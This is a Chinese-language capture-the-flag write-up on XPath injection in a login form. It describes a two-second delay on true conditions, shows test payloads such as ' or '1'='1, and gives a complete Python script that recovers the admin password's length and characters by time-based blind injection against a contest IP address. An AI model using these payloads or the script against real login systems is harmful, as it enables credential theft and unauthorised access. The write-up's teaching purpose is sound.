前言

因为国际赛碰到了一个没见到过的注入–xpath 于是记录一下做题过程

赛题

首先拿到就是有源码，网站就是一个登录注册点分admin和非admin用户有一个admin的面板 admin面板进去可以干一些操作反正我们要先变成admin用户

审计源码在/login处存在明显的注入并且当usernode布尔值为1的时候会延迟两秒符合xpath布尔盲注的条件

测试

1 2	' or '1'='1 #返回真延迟两秒 ' or '1'='2 #返回假不延迟

确实如我们预料一般存在布尔盲注这样我们可以得到admin的password

//xpath是没有注释符号通过构造闭合来

于是有脚本

import requests
import time

def quick_extract_admin():

    url = "http://104.198.24.52:6014/login"
    
    print("get pasword...")
    
    def test(payload):
        start = time.time()
        try:
            requests.post(url, data={'username': payload, 'password': 'anything'}, timeout=3)
        except:
            return False
        return time.time() - start > 2.0
    
    #判断password长度
    for length in range(1, 30):
        payload = f"' or (username/text()='admin' and string-length(password)={length}) or '1'='2"
        if test(payload):
            print(f"password-length: {length}")
            break
    
    password = ""
    simple_charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    #盲注密码
    for pos in range(1, length + 1):
        for char in simple_charset:
            payload = f"' or (username/text()='admin' and substring(password,{pos},1)='{char}') or '1'='2"
            if test(payload):
                password += char
                print(f"postion {pos}: '{char}'")
                break
        else:
            password += "_"
            print(f"postion {pos}: unkown")
    
    print(f"\npassword: {password}")
    return password

quick_extract_admin()